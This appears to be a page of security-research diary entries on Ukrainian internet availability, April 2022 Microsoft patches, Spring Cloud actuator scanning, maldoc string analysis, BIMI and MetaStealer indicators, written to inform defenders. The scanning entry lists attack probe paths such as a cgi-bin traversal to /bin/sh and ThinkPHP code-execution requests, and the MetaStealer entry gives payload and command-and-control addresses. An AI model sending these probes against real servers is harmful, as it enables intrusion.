[iana] https://www.iana.org/assignments/service-names-port-numbers/service-names-port-numbers.xhtml
[nmap] https://nmap.org/nsedoc/scripts/msrpc-enum.html
[kunlun] https://www.cyberkl.com
[akamai] https://www.akamai.com/blog/security/critical-remote-code-execution-vulnerabilities-windows-rpc-runtime

---

Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

The current war in Ukraine has from the beginning had a strong “cyber” component to it. Even in the lead up to the actual invasion of Russian forces into Ukrainian territories there have been significant attacks made against Ukrainian systems, most notably with the use of the WhisperGate wiper[1], and offensive activities targeting Ukraine’s infrastructure have hardly abated since then[2].

Most recently, we have seen what has been called a “powerful attack” against major Ukrainian ISP[3] as well as an attempted attack against an unnamed Ukrainian energy provider using a new version of the Industroyer malware[4]. With attacks like these alongside ever-present DDoSes and the undoubtably significant effects of a kinetic conflict on telecommunication infrastructure, one might expect that the Ukrainian internet landscape would have been seriously reduced, and that a not-insignificant portion of the country’s infrastructure would have been thrown offline.

However, according to most reports, this has not been the case so far[5].

Nevertheless, there don’t seem to be much “objective” data available that would either support or invalidate these reports besides a BGP-level view of prefixes announced by different Ukrainian ISPs, which is provided by some internet monitoring tools (this, however, can’t tell us much about actual reachability of individual internet-connected systems).

I have therefore decided to put together a chart showing the number of Ukrainian web servers (or – to be more exact – number of public IPs in Ukrainian IP space with port 443 open) that Shodan has seen on different days since the beginning of the year. Although the “number of reachable web servers in a country” it is hardly an optimal metric for determining the overall availability of its internet-connected infrastructure, it should be good enough for our purposes.

As we may see, from the beginning of the Russian invasion on February 24th until today, there has been a decrease of nearly 16 thousand web servers in the Ukrainian IP space, which comes to about 12% of the pre-war total.

Although this number is hardly insignificant, and it is clear that both kinetic and “cyber” attacks that have been launched against Ukraine over the last seven weeks have had an effect on the country’s internet, so far, the overall impact either seems to have been relatively minor, or quick response[6] has lessened it significantly. As a result, the Ukrainian internet truly still appears to be holding quite well.

It is worth noting that, overall, significantly larger percentage of web servers “disappeared” from the Russian internet during the same time span. As you may see from the following chart, from the beginning of the invasion until today, the number of webservers seen by Shodan in Russia has decreased by more than 255 thousand, which comes to nearly 23% of the pre-war total.

Although this decrease has probably not been caused only by the recent attacks against Russian systems and the corresponding decisions of certain Russian ISPs to stop announcing their prefixes to the global internet[7], it seems at least within the realms of possibility that the overall impact of the ongoing “cyber war” might be more significant on Russian internet that on the Ukrainian one… Which would be interesting, to say the least.

[1] https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/
[2] https://cyberpeaceinstitute.org/ukraine-timeline-of-cyberattacks/
[3] https://portswigger.net/daily-swig/ukrainian-isp-used-by-military-disrupted-by-powerful-cyber-attack
[4] https://www.welivesecurity.com/2022/04/12/industroyer2-industroyer-reloaded/
[5] https://therecord.media/ukraine-internet-russia-invasion/
[6] https://twitter.com/dsszzi/status/1501659618954645508
[7] https://twitter.com/DougMadory/status/1499397229164957715

-----------
Jan Kopriva
@jk0pr
Nettles Consulting

This month we got patches for 145 vulnerabilities. Of these, 10 are critical, 1 was previously disclosed, and one is already being exploited according to Microsoft.

The exploited vulnerability is an Elevation of Privilege on Windows Common Log File System Driver (CVE-2022-24521). There are no details about the vulnerability in the advisory. It is rated as important and has a CVSS of 7.80.

Among critical vulnerabilities, there is a Remote Code Execution (RCE) affecting  Windows Network File System (CVE-2022-24497). To exploit this vulnerability, an attacker could send a specially crafted NFS protocol network message to a vulnerable Windows machine, which could enable remote code execution. The vulnerability is only exploitable for systems that have the NFS role enabled. More information about NFS is available at https://docs.microsoft.com/en-us/windows-server/storage/nfs/nfs-overview and information about installing and uninstalling Roles Services is available at https://docs.microsoft.com/en-us/windows-server/administration/server-manager/install-or-uninstall-roles-role-services-or-features#install-roles-role-services-and-features-by-using-the-add-roles-and-features-wizard. 

But there's another vulnerability even more worrying: an RCE affecting Remote Procedure Call Runtime (CVE-2022-26809). According to the advisory, exploitation of this vulnerability could result in remote code execution on the server-side with the same permissions as the RPC service. The vulnerability requires no user interaction, requires no privilege, has a low attack complexity and the attack vector is network. Due to those characteristics, this is a potential wormable vulnerability. The mitigation for the vulnerability is blocking port TCP/445 or protecting it as much as possible - mainly from access coming from the Internet. The exploitability is 'More Likely' but there is no exploitation detected according to Microsoft. The CVSS is 9.80.

The already disclosed vulnerability affects Windows User Profile Service (CVE-2022-26904). According to the advisory, despite not requiring user interaction, the attack complexity for this vulnerability is high. The vulnerability's exploitability is 'More Likely' and its CVSS is 7.00

See my dashboard for a more detailed breakout: https://patchtuesdaydashboard.com/

April 2022 Security Updates

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Framework Denial of Service Vulnerability
%%cve:2022-26832%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Azure SDK for .NET Information Disclosure Vulnerability
%%cve:2022-26907%%	No	No	Less Likely	Less Likely	Important	5.3	4.8
Azure Site Recovery Information Disclosure Vulnerability
%%cve:2022-26896%%	No	No	Less Likely	Less Likely	Important	4.9	4.3
%%cve:2022-26897%%	No	No	Less Likely	Less Likely	Important	4.9	4.3
Azure Site Recovery Remote Code Execution Vulnerability
%%cve:2022-26898%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
Chromium: CVE-2022-1125 Use after free in Portals
%%cve:2022-1125%%	No	No	-	-	-
Chromium: CVE-2022-1127 Use after free in QR Code Generator
%%cve:2022-1127%%	No	No	-	-	-
Chromium: CVE-2022-1128 Inappropriate implementation in Web Share API
%%cve:2022-1128%%	No	No	-	-	-
Chromium: CVE-2022-1129 Inappropriate implementation in Full Screen Mode
%%cve:2022-1129%%	No	No	-	-	-
Chromium: CVE-2022-1130 Insufficient validation of untrusted input in WebOTP
%%cve:2022-1130%%	No	No	-	-	-
Chromium: CVE-2022-1131 Use after free in Cast UI
%%cve:2022-1131%%	No	No	-	-	-
Chromium: CVE-2022-1133 Use after free in WebRTC
%%cve:2022-1133%%	No	No	-	-	-
Chromium: CVE-2022-1134 Type Confusion in V8
%%cve:2022-1134%%	No	No	-	-	-
Chromium: CVE-2022-1135 Use after free in Shopping Cart
%%cve:2022-1135%%	No	No	-	-	-
Chromium: CVE-2022-1136 Use after free in Tab Strip
%%cve:2022-1136%%	No	No	-	-	-
Chromium: CVE-2022-1137 Inappropriate implementation in Extensions
%%cve:2022-1137%%	No	No	-	-	-
Chromium: CVE-2022-1138 Inappropriate implementation in Web Cursor
%%cve:2022-1138%%	No	No	-	-	-
Chromium: CVE-2022-1139 Inappropriate implementation in Background Fetch API
%%cve:2022-1139%%	No	No	-	-	-
Chromium: CVE-2022-1143 Heap buffer overflow in WebUI
%%cve:2022-1143%%	No	No	-	-	-
Chromium: CVE-2022-1145 Use after free in Extensions
%%cve:2022-1145%%	No	No	-	-	-
Chromium: CVE-2022-1146 Inappropriate implementation in Resource Timing
%%cve:2022-1146%%	No	No	-	-	-
Chromium: CVE-2022-1232 Type Confusion in V8
%%cve:2022-1232%%	No	No	-	-	-
Cluster Client Failover (CCF) Elevation of Privilege Vulnerability
%%cve:2022-24489%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Connected User Experiences and Telemetry Elevation of Privilege Vulnerability
%%cve:2022-24479%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
DiskUsage.exe Remote Code Execution Vulnerability
%%cve:2022-26830%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
GitHub: Git for Windows' uninstaller vulnerable to DLL hijacking when run under the SYSTEM user account
%%cve:2022-24767%%	No	No	Less Likely	Less Likely	Important
GitHub: Uncontrolled search for the Git directory in Git for Windows
%%cve:2022-24765%%	No	No	Less Likely	Less Likely	Important
HEVC Video Extensions Remote Code Execution Vulnerability
%%cve:2022-24532%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Local Security Authority (LSA) Elevation of Privilege Vulnerability
%%cve:2022-24496%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Defender Denial of Service Vulnerability
%%cve:2022-24548%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Microsoft Dynamics 365 (on-premises) Remote Code Execution Vulnerability
%%cve:2022-23259%%	No	No	Less Likely	Less Likely	Critical	8.8	7.7
Microsoft Edge (Chromium-based) Elevation of Privilege Vulnerability
%%cve:2022-24475%%	No	No	Less Likely	Less Likely	Important	8.3	7.2
%%cve:2022-26891%%	No	No	Less Likely	Less Likely	Important	8.3	7.2
%%cve:2022-26894%%	No	No	Less Likely	Less Likely	Important	8.3	7.2
%%cve:2022-26895%%	No	No	Less Likely	Less Likely	Important	8.3	7.2
%%cve:2022-26900%%	No	No	Less Likely	Less Likely	Important	8.3	7.2
%%cve:2022-26908%%	No	No	Less Likely	Less Likely	Important	8.3	7.2
%%cve:2022-26909%%	No	No	Less Likely	Less Likely	Moderate	8.3	7.2
%%cve:2022-26912%%	No	No	Less Likely	Less Likely	Moderate	8.3	7.2
Microsoft Edge (Chromium-based) Spoofing Vulnerability
%%cve:2022-24523%%	No	No	Less Likely	Less Likely	Moderate	4.3	3.8
Microsoft Excel Remote Code Execution Vulnerability
%%cve:2022-24473%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26901%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Microsoft Local Security Authority (LSA) Server Information Disclosure Vulnerability
%%cve:2022-24493%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Microsoft Power BI Spoofing Vulnerability
%%cve:2022-23292%%	No	No	Less Likely	Less Likely	Important	5.9	5.2
Microsoft SharePoint Server Spoofing Vulnerability
%%cve:2022-24472%%	No	No	Less Likely	Less Likely	Important	8.0	7.0
PowerShell Elevation of Privilege Vulnerability
%%cve:2022-26788%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Remote Desktop Protocol Remote Code Execution Vulnerability
%%cve:2022-24533%%	No	No	Less Likely	Less Likely	Important	8.0	7.0
Remote Procedure Call Runtime Remote Code Execution Vulnerability
%%cve:2022-24528%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-24492%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
%%cve:2022-26809%%	No	No	More Likely	More Likely	Critical	9.8	8.5
Skype for Business Information Disclosure Vulnerability
%%cve:2022-26911%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Skype for Business and Lync Spoofing Vulnerability
%%cve:2022-26910%%	No	No	Less Likely	Less Likely	Important	5.3	4.6
Visual Studio Code Elevation of Privilege Vulnerability
%%cve:2022-26921%%	No	No	Less Likely	Less Likely	Important	7.3	6.4
Visual Studio Elevation of Privilege Vulnerability
%%cve:2022-24513%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Win32 File Enumeration Remote Code Execution Vulnerability
%%cve:2022-24485%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Win32 Stream Enumeration Remote Code Execution Vulnerability
%%cve:2022-21983%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
%%cve:2022-24534%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Win32k Elevation of Privilege Vulnerability
%%cve:2022-26914%%	No	No	More Likely	More Likely	Important	7.8	7.0
Windows ALPC Elevation of Privilege Vulnerability
%%cve:2022-24482%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
%%cve:2022-24540%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability
%%cve:2022-24494%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows AppX Package Manager Elevation of Privilege Vulnerability
%%cve:2022-24549%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Bluetooth Driver Elevation of Privilege Vulnerability
%%cve:2022-26828%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Cluster Shared Volume (CSV) Denial of Service Vulnerability
%%cve:2022-24484%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
%%cve:2022-24538%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2022-26784%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2022-24521%%	No	Yes	Detected	Detected	Important	7.8	7.2
%%cve:2022-24481%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows DNS Server Information Disclosure Vulnerability
%%cve:2022-26816%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows DNS Server Remote Code Execution Vulnerability
%%cve:2022-26811%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
%%cve:2022-26812%%	No	No	Less Likely	Less Likely	Important	7.2	6.5
%%cve:2022-26813%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
%%cve:2022-24536%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
%%cve:2022-26814%%	No	No	Less Likely	Less Likely	Important	6.6	5.9
%%cve:2022-26815%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
%%cve:2022-26817%%	No	No	Less Likely	Less Likely	Important	6.6	5.8
%%cve:2022-26818%%	No	No	Less Likely	Less Likely	Important	6.6	5.8
%%cve:2022-26819%%	No	No	Less Likely	Less Likely	Important	6.6	5.8
%%cve:2022-26820%%	No	No	Less Likely	Less Likely	Important	6.6	5.8
%%cve:2022-26821%%	No	No	Less Likely	Less Likely	Important	6.6	5.8
%%cve:2022-26822%%	No	No	Less Likely	Less Likely	Important	6.6	5.8
%%cve:2022-26823%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
%%cve:2022-26824%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
%%cve:2022-26825%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
%%cve:2022-26826%%	No	No	Less Likely	Less Likely	Important	7.2	6.3
%%cve:2022-26829%%	No	No	Less Likely	Less Likely	Important	6.6	5.9
Windows DWM Core Library Elevation of Privilege Vulnerability
%%cve:2022-24546%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Desktop Bridge Elevation of Privilege Vulnerability
%%cve:2022-24488%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Digital Media Receiver Elevation of Privilege Vulnerability
%%cve:2022-24547%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Direct Show - Remote Code Execution Vulnerability
%%cve:2022-24495%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Endpoint Configuration Manager Elevation of Privilege Vulnerability
%%cve:2022-24527%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Fax Compose Form Remote Code Execution Vulnerability
%%cve:2022-26916%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26917%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26918%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows File Explorer Elevation of Privilege Vulnerability
%%cve:2022-26808%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows File Server Resource Management Service Elevation of Privilege Vulnerability
%%cve:2022-26810%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26827%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows Graphics Component Information Disclosure Vulnerability
%%cve:2022-26920%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2022-26903%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Hyper-V Denial of Service Vulnerability
%%cve:2022-23268%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2022-22008%%	No	No	Less Likely	Less Likely	Critical	7.8	6.8
%%cve:2022-22009%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-23257%%	No	No	Less Likely	Less Likely	Critical	8.8	7.7
%%cve:2022-24537%%	No	No	Less Likely	Less Likely	Critical	7.8	6.8
Windows Hyper-V Shared Virtual Hard Disks Information Disclosure Vulnerability
%%cve:2022-24490%%	No	No	Less Likely	Less Likely	Important	8.1	7.1
%%cve:2022-24539%%	No	No	Less Likely	Less Likely	Important	8.1	7.1
%%cve:2022-26783%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
%%cve:2022-26785%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
Windows Installer Elevation of Privilege Vulnerability
%%cve:2022-24530%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-24499%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Kerberos Elevation of Privilege Vulnerability
%%cve:2022-24486%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-24544%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Kerberos Remote Code Execution Vulnerability
%%cve:2022-24545%%	No	No	Less Likely	Less Likely	Important	8.1	7.1
Windows Kernel Information Disclosure Vulnerability
%%cve:2022-24483%%	No	No	Less Likely	Less Likely	Important	5.5	4.8
Windows LDAP Denial of Service Vulnerability
%%cve:2022-26831%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Windows LDAP Remote Code Execution Vulnerability
%%cve:2022-26919%%	No	No	Less Likely	Less Likely	Critical	8.1	7.1
Windows Local Security Authority (LSA) Remote Code Execution Vulnerability
%%cve:2022-24487%%	No	No	Less Likely	Less Likely	Important	8.8	7.7
Windows Network File System Remote Code Execution Vulnerability
%%cve:2022-24491%%	No	No	More Likely	More Likely	Critical	9.8	8.5
%%cve:2022-24497%%	No	No	More Likely	More Likely	Critical	9.8	8.5
Windows Print Spooler Elevation of Privilege Vulnerability
%%cve:2022-26786%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26787%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26789%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26790%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26791%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26792%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26793%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26794%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26795%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26796%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26797%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26798%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26801%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26802%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
%%cve:2022-26803%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows SMB Remote Code Execution Vulnerability
%%cve:2022-24500%%	No	No	Less Likely	Less Likely	Critical	8.8	7.7
Windows Secure Channel Denial of Service Vulnerability
%%cve:2022-26915%%	No	No	Less Likely	Less Likely	Important	7.5	6.5
Windows Server Service Remote Code Execution Vulnerability
%%cve:2022-24541%%	No	No	Less Likely	Less Likely	Critical	8.8	7.7
Windows Telephony Server Elevation of Privilege Vulnerability
%%cve:2022-24550%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows Upgrade Assistant Remote Code Execution Vulnerability
%%cve:2022-24543%%	No	No	Less Likely	Less Likely	Important	7.8	6.8
Windows User Profile Service Elevation of Privilege Vulnerability
%%cve:2022-26904%%	Yes	No	More Likely	More Likely	Important	7.0	6.5
Windows Win32k Elevation of Privilege Vulnerability
%%cve:2022-24474%%	No	No	More Likely	More Likely	Important	7.8	6.8
%%cve:2022-24542%%	No	No	More Likely	More Likely	Important	7.8	6.8
Windows Work Folder Service Elevation of Privilege Vulnerability
%%cve:2022-26807%%	No	No	Less Likely	Less Likely	Important	7.0	6.1
Windows iSCSI Target Service Information Disclosure Vulnerability
%%cve:2022-24498%%	No	No	Less Likely	Less Likely	Important	6.5	5.7
YARP Denial of Service Vulnerability
%%cve:2022-26924%%	No	No	Less Likely	Less Likely	Important	7.5	6.5

--
Renato Marinho
Morphus Labs| LinkedIn|Twitter

Our "First Seen URL" page did show attempts to access /actuator/gateway/routes this weekend. So I dug in a bit deeper to see what these scans are all about. The scans originate from %%ip:45.155.204.146%% and have been going on for a few days already, but our first-seen list doesn't display them until they hit a threshold to consider the scans significant. We also see scans from a couple of our IPs, but at a much lower level.

A typical complete request from 45.155.204.146:

GET /actuator/gateway/routes HTTP/1.1
Host: [redacted]:80
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Encoding: gzip
Connection: close

The scan for /actuator/gateway/routes may be looking for systems that are possibly vulnerable to %%CVE:2022-22947%% or other vulnerabilities in the Spring Cloud function (we had at least three different vulnerabilities recently). This vulnerability was patched at the beginning of March [1], and exploits are available. The actual exploit would include a JSON formated payload with the actual command to be executed. A simple code injection vulnerability, exploitation is trivial. But to be vulnerable, a system needs to use the Spring Cloud functions, which are not as popular as the basic Spring Core library vulnerable to Spring4Shell (cve-2022-22965). 

The same source also scans for various vulnerabilities, indicating that this test was added to a bot used to compromise multiple sites. Here is a partial list of other vulnerabilities scanned by this source:

/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh
/actuator/gateway/routes
/securityRealm/user/admin/search/index?q=a
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 
/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21
/?XDEBUG_SESSION_START=phpstorm 
/console/ 
/_ignition/execute-solution
/solr/admin/info/system?wt=json
/index.php?s=/Index/\\think\\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP21
/?a=fetch&content=<php>die(@md5(HelloThinkCMF))</php> 
/Autodiscover/Autodiscover.xml

 

[1] https://tanzu.vmware.com/security/cve-2022-22947

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

I recorded a video for yesterday's diary tentry "Method For String Extraction Filtering".

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

In diary entry "XLSB Files: Because Binary is Stealthier Than XML", Xavier shows how to extract strings (URLs) from binary files that make up an Excel spreadsheet.

This inspired me to make a tool to parse this XLSB file format: "Quickie: Parsing XLSB Documents".

Now I'm presenting another method, one that uses string analysis. String analysis is a simple (malware) analysis technique: one uses a tool like strings to extract printable strings from binary files, and then reviews the list of extracted strings for interesting info. Like URLs. But the list of extracted strings is often huge, and it can be difficult to find relevant info (or impossible, if the strings are encoded/encrypted).

Performing string analysis is easy, one does not need to know about the internal format of the analyzed binary files. But you need a bit of luck: the strings need to be readable. And you need to find them inside a long lists of strings, of which many are irrelevant.

Now I created another tool, that can assist with string analysis: myjson-filter.py.

Let's go back to the maldoc sample Xavier analyzed, and use my tools zipdump.py and strings.py to extract all strings.

We can't just run the strings command on the XLSB file, because this is an OOXML file: a ZIP container containing XML and binary files. So we need to extract each file from the zip container and run the strings command on it.

One way to do this with my tools, is as follows:

Option -D extracts all files from the ZIP container and sends their content to stdout, which is then read by strings.py to extract strings.

The problem here, is that there are a lot of strings: that's because the OOXML file also contains XML files, that are text files.

So it would be better, if we could extract strings only from binary files, excluding XML files.

That's what we can do with my new tool.

First we will switch to a JSON format I designed into some of my tools, like zipdump.py and strings.py.

Options --jsonoutput makes zipdump.py produce JSON output (with the content of all files) and --jsoninput makes strings.py consume JSON input.

The result is the same, as with the -D option. But since we are dealing with structured JSON data now, instead of one binary stream of file contents, we can manipulate that JSON data before it is consumed by strings.

And that is what one can do with my new tool myjson-filter.py.

We will use this tool to filter out all XML files, so that strings.py processes only the remaining files (which should all be binary files).

To understand how myjson-filter.py works, we will start by using the -l option. This option directs myjson-filter.py to produce a list of the items it has filtered, in stead of producing filtered JSON data.

Here is the output:

Now we will start to filter, by using option -c. Option -c takes a regular expression, and selects all items that match that regular expression. We use regular expression ^<\?xml to match all content that starts (^) with <?xml. Since ? is a meta character in regular expression syntax, we need to escape it like this: \?

Now we have selected all XML files. But what we want, is to select all files that are not XML files: we need to invert the selection. This can be done by prefixing the regular expression with #v# (this syntax is particular to my tool, it's not part of the regular expression syntax). v is a flag to invert the selection (like option -v for grep).

And once we see that the selected files are the ones we desire, we can drop option -l, so that myjson-filter.py produces filtered JSON data that can be passed on to strings.py.

I am using option -L to sort the strings by length, so that the longest strings are at the end of the output:

At the end, we see 3 long strings that look like obfuscated URLs. They are indeed expressions, that concatenate small strings together into one string. We filter them out by selecting only strings that are 50 characters long or more (-n 50):

And finally, we undo the string contatenation (& operator) by remove "&" with sed:

Without any knowledge of the XLSB file format, we were still able to extract the URLs from this maldoc.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com

Earlier this week, I talked about how Phishing is still a huge problem and how compromised WordPress installs and free file hosting services are abused. But the root cause why Phishing works is more "human": Phishing works because it is hard to figure out if an email or a website is authentic. Over the years, many technical solutions have been implemented to make it easier to recognize valid senders or a valid website. TLS helps, but not if the attacker comes up with a decent look-alike domain or can obscure the hostname with lengthy prefixes. DKIM and SPF help, but they again do nothing against look-alike domains.

The latest attempt to find a better way to authenticate an email sender visually is "BIMI," short for "Brand Indicators for Message Identification" [1]. It will add a company logo to each email, and the logo may be verified.

Of course, to make this work, we need yet another DNS TXT record: [selector]._bimi.[domain]. The [selector] can decide which logo will be used. But typically, you should see default._bimi.example.com.

e.g., for dshield.org: 

v=BIMI1;l=https://dshield.org/images/dshieldbimi.svg;

The image must be in SVG format.

Preview generated by bimigroup.org

So what prevents a phishing site from copying your BIMI logo, just like it reproduces all your other artwork? Certificates! You may use BIMI without certificates (like I do for DShield.org), but the value is limited, and not all email clients may show it (more about that later). But you can use an optional "Verified Mark Certificate" (VMC) to improve BIMI.

So what is a VMC, and how do you get one? In short, the VMC verifies that you own a trademark for a particular logo. Start by obtaining a trademark. Future versions of the standard may no longer require this step, but that will get you started for now. Next, you have to get your certificate. There are no free options so far. I have seen them offered for around $1,000-$1,500 per year. So it is in no way cheap. There may be a manual process in approving the request, which is likely why they are so expensive. Also, the lack of a free option may contribute to the cost. Most organizations will already have a trademarked logo, but if not, that will add another $500 or so.

So far, Yahoo, Google, Fastmail, and Pobox are supporting BIMI. Others are considering it. But note that neither Apple nor Microsoft has announced any plans so far (according to [1]). With Outlook/Office 365 and iOS/macOS out, it is hard to justify the cost of a "complete" BIMI implementation (it is not just the cost of the certificate, but it is also something else that could break with email, another certificate to maintain, and a logo that needs to be created in the right format).

Pros and Cons? Should you do it?

+ it does offer another visual indicator that an email is authentic

- it is expensive to do it "right"
- support is limited

[1] https://bimigroup.org

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

Introduction

• Since Wednesday 2022-03-30, at least 16 samples of a specific Excel file have been submitted to VirusTotal.
• These malicious Excel files are distributed as email attachments.
• Post-infection traffic triggers signatures for Win32/MetaStealer Related Activity from the EmergingThreats Pro (ETPRO) ruleset.
• This infection process uses data binaries to create the malicious EXE and DLL files used for the infection.
• The malware abuses legitimate services by Github and transfer.sh to host these data binaries.
• All URLs, domains, and IP addresses were still active for the infection approximately 3 hours before I posted this diary.

Shown above:  Flow chart for the MetaStealer infection chain reviewed in today's diary.

Images from an infection

Shown above:  Screenshot from an email distributing the malicious Excel file.

Shown above:  Screenshot of the malicious Excel file.

Shown above:  Traffic from an infection on Tuesday 2022-04-05 filtered in Wireshark.

Shown above:  Alerts from the infection Security Onion using the Suricata and the ETPRO ruleset.

Shown above:  UAC alert generated by malicious EXE during the infection.

Shown above:  Malicious EXE file generated during the infection.

Shown above:  Malicious EXE persistent on the infected Windows host.

Indicators of Compromise (IOCs)

Traffic generated after enabling Excel macro:

• hxxps://github[.]com/michel15P/1/raw/main/notice.zip
• hxxps://raw.githubusercontent[.]com/michel15P/1/main/notice.zip
• Note: File returned from the above URL is a data binary and not a zip archive

Traffic generated by persistent EXE created from the above binary:

• port 80 - transfer[.]sh - GET /get/qT523D/Wlniornez_Dablvtrq.bmp              
• port 443 - hxxps://transfer[.]sh/get/qT523D/Wlniornez_Dablvtrq.bmp                                                  
• 193.106.191[.]162 port 1775 - 193.106.191[.]162:1775 - GET /avast_update                                    
• 193.106.191[.]162 port 1775 - 193.106.191[.]162:1775 - GET /api/client/new                                 
• 193.106.191[.]162 port 1775 - 193.106.191[.]162:1775 - POST /tasks/get_worker

Alerts on traffic to 193.106.191[.]162 over TCP port 1775:

• ETPRO MALWARE Win32/MetaStealer Related Activity (GET) sid: 2851362
• ETPRO MALWARE Win32/MetaStealer Related Activity (POST) sid: 2851363

Associated malware and artifacts:

SHA256 hash: 981247f5f23421e9ed736dd462801919fea2b60594a6ca0b6400ded463723a5e

• File size: 88,069 bytes
• File name: transfer_info2460.xls
• File description: Example of email attachment, an Excel file with macro for malware
• Sandbox analysis: https://app.any.run/tasks/02a6b252-5ea1-4f2b-96d3-4eb2eaec34ca

SHA256 hash: 81e77fb911c38ae18c268178492224fab7855dd6f78728ffedfff6b62d1279dc

• File size: 2,828 bytes
• File name: open.vbs
• File location: same directory as the above Excel file or the user's AppData/Local/Temp directory
• File description: After enabling macro, this VBS file is used to create the persistent EXE
• Note: I could not find this file on my infected lab host

SHA256 hash: 8cfa23b5f47ee072d894ee98b1522e3b8acc84a6e9654b71f50536e74a3579a5

• File size: 417,512 bytes
• File location: hxxps://raw.githubusercontent[.]com/michel15P/1/main/notice.zip
• File type: data
• File description: data binary retrieved by open.vbs used to persistent EXE (below)

SHA256 hash: f644bef519fc0243633d13f18c97c96d76b95b6f2cbad2a2507fb8177b7e4d1d

• File size: 367,001,600 bytes
• File location: C:\Users\[username]\AppData\Local\Temp\notice.exe
